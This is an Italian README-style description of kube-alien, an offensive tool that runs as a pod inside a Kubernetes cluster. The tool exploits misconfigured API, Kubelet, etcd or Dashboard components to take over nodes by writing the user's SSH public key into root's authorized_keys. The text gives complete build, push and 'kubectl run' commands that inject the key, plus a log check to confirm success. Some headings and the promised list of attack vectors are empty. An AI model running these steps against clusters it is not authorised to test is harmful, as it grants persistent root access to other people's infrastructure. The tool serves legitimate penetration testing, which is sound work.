
Strumento automatizzato di penetration testing per cluster Kubernetes che sfrutta configurazioni errate in API, Kubelet, etcd e Dashboard per ottenere il takeover dei nodi tramite iniezione di chiavi SSH da un pod.
Questo strumento lancia un attacco su un cluster k8s dall'interno. Ciò significa che è già necessario avere un accesso con il permesso di distribuire pod in un cluster per eseguirlo. Dopo aver eseguito il pod kube-alien, tenta di prendere il controllo dei nodi del cluster aggiungendo la tua chiave pubblica al file /root/.ssh/authorized_keys del nodo utilizzando questa immagine https://github.com/nixwizard/dockercloud-authorizedkeys (può essere regolata usando il parametro ADD_AUTHKEYS_IMAGE in config.py) fork da docker/dockercloud-authorizedkeys. L'attacco ha successo se c'è una configurazione errata in uno dei componenti del cluster, sfruttando i seguenti vettori:
Qual è lo scopo di questo strumento?
Come può un cluster k8s essere attaccato dall'interno in un contesto reale?
L'immagine Kube-alien deve essere inviata al tuo dockerhub (o altro registro) prima di usare questo strumento.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
La variabile d'ambiente AUTHORIZED_KEYS deve essere impostata al valore della tua chiave pubblica SSH; in caso di successo, la chiave pubblica verrà aggiunta al file authorized_keys di root su tutti i nodi.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
oppure puoi usare la mia immagine per test rapidi:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Controlla i log del pod Kube-alien per vedere se l'attacco ha avuto successo:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')